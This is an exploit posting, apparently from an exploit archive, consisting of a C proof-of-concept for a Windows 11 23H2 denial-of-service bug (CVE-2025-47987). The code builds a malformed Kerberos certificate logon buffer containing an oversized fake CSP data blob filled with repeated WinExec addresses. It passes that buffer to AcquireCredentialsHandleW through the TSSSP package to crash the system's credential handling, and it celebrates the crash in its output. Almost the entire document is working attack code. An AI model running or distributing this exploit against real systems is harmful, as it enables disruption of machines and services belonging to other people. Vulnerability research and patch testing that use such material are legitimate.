Windows 11 23H2 Exploit, Denial of Service (DoS)

# Exploit Title: Windows 11 23H2 - Denial of Service (DoS)
# Google Dork: N/A
# Date: 2025-08-22
# Exploit Author: Kryptoenix
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-us/software-download/windows11
# Version: Windows 11 23H2
# Tested on: Windows 11 23H2 (x64)
# CVE: CVE-2025-47987



#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <credssp.h>
#include <stdint.h>
#include <wchar.h>

#pragma comment(lib, "secur32.lib")


#define ALIGN_TO_8(x) (((x) + 7) & ~((size_t)7))


int BuildKerbCertLogonBuffer(
    const WCHAR* username,
    const WCHAR* domain,
    const WCHAR* password,
    const BYTE* certBlob,
    DWORD certBlobSize,
    BYTE** outBuffer,
    DWORD* outBufferSize)
{
    if (!username || !domain || !password || !certBlob || !outBuffer || !outBufferSize) return -1;

    uint64_t usernameLen = (uint64_t)(wcslen(username) * sizeof(WCHAR));
    uint64_t domainLen = (uint64_t)(wcslen(domain) * sizeof(WCHAR));
    uint64_t passwordLen = (uint64_t)(wcslen(password) * sizeof(WCHAR));

    size_t offsetUser = 0x48; // header is fixed 0x48 bytes
    size_t offsetPassword = offsetUser + ALIGN_TO_8(usernameLen);
    size_t offsetDomain = offsetPassword + ALIGN_TO_8(passwordLen);
    size_t offsetCert = offsetDomain + ALIGN_TO_8(domainLen);

    size_t totalSize = offsetCert + ALIGN_TO_8(certBlobSize);

    BYTE* buf = (BYTE*)malloc(totalSize);
    if (!buf) return -1;
    memset(buf, 0, totalSize);

    // 0x00: type
    *(uint64_t*)(buf + 0x00) = 13ULL;

    // username entry
    *(uint64_t*)(buf + 0x08) = usernameLen;
    *(uint64_t*)(buf + 0x10) = (uint64_t)offsetUser;

    // password entry
    *(uint64_t*)(buf + 0x18) = passwordLen;
    *(uint64_t*)(buf + 0x20) = (uint64_t)offsetPassword;

    // domain entry
    *(uint64_t*)(buf + 0x28) = domainLen;
    *(uint64_t*)(buf + 0x30) = (uint64_t)offsetDomain;

    // cert offset/size
    *(uint32_t*)(buf + 0x38) = (uint32_t)0x1337; // :)
    *(uint32_t*)(buf + 0x3C) = (uint32_t)certBlobSize;
    *(uint32_t*)(buf + 0x40) = (uint32_t)offsetCert;

    // payload copies
    memcpy(buf + offsetUser, username, usernameLen);
    memcpy(buf + offsetPassword, password, passwordLen);
    memcpy(buf + offsetDomain, domain, domainLen);
    memcpy(buf + offsetCert, certBlob, certBlobSize);

    printf("\nHeader of packed buffer (first 64 bytes):\n");
    for (size_t i = 0; i < (totalSize < 64 ? totalSize : 64); ++i) {
        printf("%02x ", buf[i]);
        if ((i & 0x7) == 0x7) printf("\n");
    }
    printf("\n");


    *outBuffer = buf;
    *outBufferSize = (DWORD)totalSize;
    return 0;
}

BYTE* BuildFakeCspData(
    const char* str,
    size_t strLen,
    DWORD providerValue,   // stored at header[5]
    DWORD* outSize)
{
    if (!str) return NULL;

    size_t lenChars = strLen + 1;
    size_t stringBytes = lenChars;

    size_t headerBytes = 44; // 40-byte base + one DWORD offset
    size_t totalBytes = headerBytes + stringBytes;
    if (totalBytes < 0x30) totalBytes = 0x30;

    BYTE* buffer = (BYTE*)malloc(totalBytes);
    if (!buffer) return NULL;
    memset(buffer, 0, totalBytes);

    // header[5] = providerValue
    ((DWORD*)buffer)[5] = providerValue;

    // header[6] = offset for string (in bytes from start of data area)
    ((DWORD*)buffer)[6] = 0;

    // copy the string into the data area
    BYTE* stringArea = buffer + headerBytes;
    memcpy(stringArea, str, lenChars);

    printf("Header of CSP buffer (first 44 bytes):\n");
    for (size_t i = 0; i < headerBytes; ++i) {
        printf("%02x ", buffer[i]);
        if ((i & 0x7) == 0x7) printf("\n");
    }
    printf("\n\n");


    if (outSize)
        *outSize = (DWORD)totalBytes;

    return buffer;
}


unsigned char* ptrToBytes(void* ptr, size_t* outLen) {
    size_t len = sizeof(void*); // 8 bytes
    unsigned char* buf = (unsigned char*)malloc(len);
    if (!buf) return NULL;
    memcpy(buf, &ptr, len); // copy pointer value into buffer
    if (outLen) *outLen = len;
    return buf;
}

unsigned char* BuildStringPattern(const unsigned char* pattern, size_t patLen, size_t repeatCount) {
    size_t totalLen = patLen * repeatCount;
    unsigned char* buf = (unsigned char*)malloc(totalLen);
    if (!buf) return NULL;

    // add padding for pointer allignment
    memset(buf, 0, 4);

    unsigned char* p = buf + 4;
    for (size_t i = 0; i < repeatCount; i++) {
        memcpy(p, pattern, patLen);
        p += patLen;
    }
    return buf;
}

wchar_t* BuildWideStringPattern(const wchar_t* pattern, size_t repeatCount) {
    if (!pattern || repeatCount == 0) return NULL;

    size_t patLen = wcslen(pattern);
    size_t totalLen = (patLen * repeatCount) + 1;

    wchar_t* buf = (wchar_t*)malloc(totalLen * sizeof(wchar_t));
    if (!buf) return NULL;

    wchar_t* p = buf;

    // copy pattern repeatedly
    for (size_t i = 0; i < repeatCount; i++) {
        wmemcpy(p, pattern, patLen);
        p += patLen;
    }

    *p = L'\0';

    return buf;
}
int main(void)
{
    size_t addrLen;
    unsigned char* addrBytes = ptrToBytes((void*)WinExec, &addrLen);
    if (!addrBytes) {
        fprintf(stderr, "Failed to allocate address bytes.\n");
        return 1;
    }


    size_t repeatCount = 0x1FFFFFE0; // 0xFFFFFF00 = 8 * 0x1FFFFFE0
    unsigned char* hugeStr = BuildStringPattern(addrBytes, addrLen, repeatCount);
    if (!hugeStr) {
        fprintf(stderr, "Failed to allocate huge buffer.\n");
        free(addrBytes);
        return 1;
    }

    DWORD fakeSize;
    printf("Building fake CSP buffer...\n\n");
    BYTE* fakeCsp = BuildFakeCspData((const char *)hugeStr, 0xFFFFFF00, 0x18, &fakeSize);

    if (!fakeCsp) {
        wprintf(L"Allocation failed\n");
        return 1;
    }

    wprintf(L"Built fake CSPDATA size=0x%X\n\n", fakeSize);
    //getchar();

    SECURITY_STATUS status;
    CredHandle credHandle;
    TimeStamp expiry;

    const WCHAR* username = L"exampleusername";
    const WCHAR* domain = L"exampledomain";
    const WCHAR* password = L"examplepassexamplepassexamplepassexamplepassexamplepass";


    BYTE* buf = NULL;
    DWORD bufSize = 0;

    printf("Building fake KerbCertLogonBuffer...\n");
    if (BuildKerbCertLogonBuffer(username, domain, password, fakeCsp, fakeSize, &buf, &bufSize) != 0) {
        printf("Failed to build KerbCertLogonBuffer\n");
        return 1;
    }

    printf("Trigerring the bug...\n");
    status = AcquireCredentialsHandleW(
        NULL,
        (LPWSTR)L"TSSSP",       // pszPackage (name of the security package)
        SECPKG_CRED_OUTBOUND,
        NULL,
        buf,                    // pAuthData (pointer to authentication data)
        NULL,
        NULL,
        &credHandle,
        &expiry
    );

    if (status == SEC_E_OK) {
        printf("AcquireCredentialsHandle succeeded\n");
        FreeCredentialsHandle(&credHandle);
    }
    else {

        if (status == SEC_E_INSUFFICIENT_MEMORY) {
            printf("Not enough memory to trigger the crash :(\n");
            printf("[-] PoC failed!\n");
        }
        else if (status == SEC_E_INTERNAL_ERROR) {
            printf("\n[+] PoC succeded! Enjoy the crash >:D\n");
        }
        else {
            printf("AcquireCredentialsHandle failed! Error: 0x%x\n",status);
            printf("[-] PoC failed!\n");
        }
    }

    if (buf) free(buf);
    if(hugeStr) free(hugeStr);
    if(fakeCsp) free(fakeCsp);
    return 0;
}

All rights reserved nPulse.net 2009 - 2026
Powered by: MVCP2 / BVCP / ASPF-MILTER / PHP 8.3 / NGINX / FreeBSD